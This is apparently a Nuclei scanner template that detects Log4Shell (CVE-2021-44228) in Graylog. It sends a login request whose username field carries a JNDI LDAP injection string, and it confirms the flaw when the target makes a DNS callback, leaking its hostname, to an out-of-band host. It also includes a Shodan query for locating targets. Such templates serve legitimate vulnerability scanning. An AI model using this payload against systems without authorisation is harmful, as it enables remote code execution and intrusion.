graylog-log4j-rce: Graylog (Log4j) - Remote Code Execution

id: graylog-log4j-rce

info:
  name: Graylog (Log4j) - Remote Code Execution
  author: DhiyaneshDK
  severity: critical
  description: Graylog is susceptible to remote code execution via the Apache Log4j 2 library prior to 2.15.0 by recording its own log information, specifically with specially crafted values sent as user input. Apache Log4j2 2.0-beta9 through 2.15.0 (excluding security releases 2.12.2, 2.12.3, and 2.3.1) JNDI features used in configuration, log messages, and parameters do not protect against attacker-controlled LDAP and other JNDI-related endpoints. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled.
  reference:
    - https://www.graylog.org/post/graylog-update-for-log4j
    - https://logging.apache.org/log4j/2.x/security.html
    - https://nvd.nist.gov/vuln/detail/CVE-2021-44228
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cve-id: CVE-2021-44228
    cwe-id: CWE-77
    cpe: cpe:2.3:a:graylog:graylog:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    shodan-query: title:"Graylog Web Interface"
    product: graylog
    vendor: graylog
  tags: cve,cve2021,rce,jndi,log4j,graylog,kev,oast,vuln
variables:
  rand1: '{{rand_int(111, 999)}}'
  rand2: '{{rand_int(111, 999)}}'

http:
  - raw:
      - |
        POST /api/system/sessions HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json
        X-Requested-With: XMLHttpRequest
        X-Requested-By: XMLHttpRequest
        Content-Type: application/json
        Origin: {{BaseURL}}
        Referer: {{BaseURL}}

        {"username":"${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.username.{{interactsh-url}}}","password":"admin","host":"{{Hostname}}"}

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - 'X-Graylog-Node-Id:'

      - type: word
        part: interactsh_protocol # Confirms the DNS Interaction
        words:
          - "dns"

      - type: regex
        part: interactsh_request
        regex:
          - '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'

    extractors:
      - type: kval
        kval:
          - interactsh_ip

      - type: regex
        part: interactsh_request
        group: 2
        regex:
          - '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'

      - type: regex
        part: interactsh_request
        group: 1
        regex:
          - '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'
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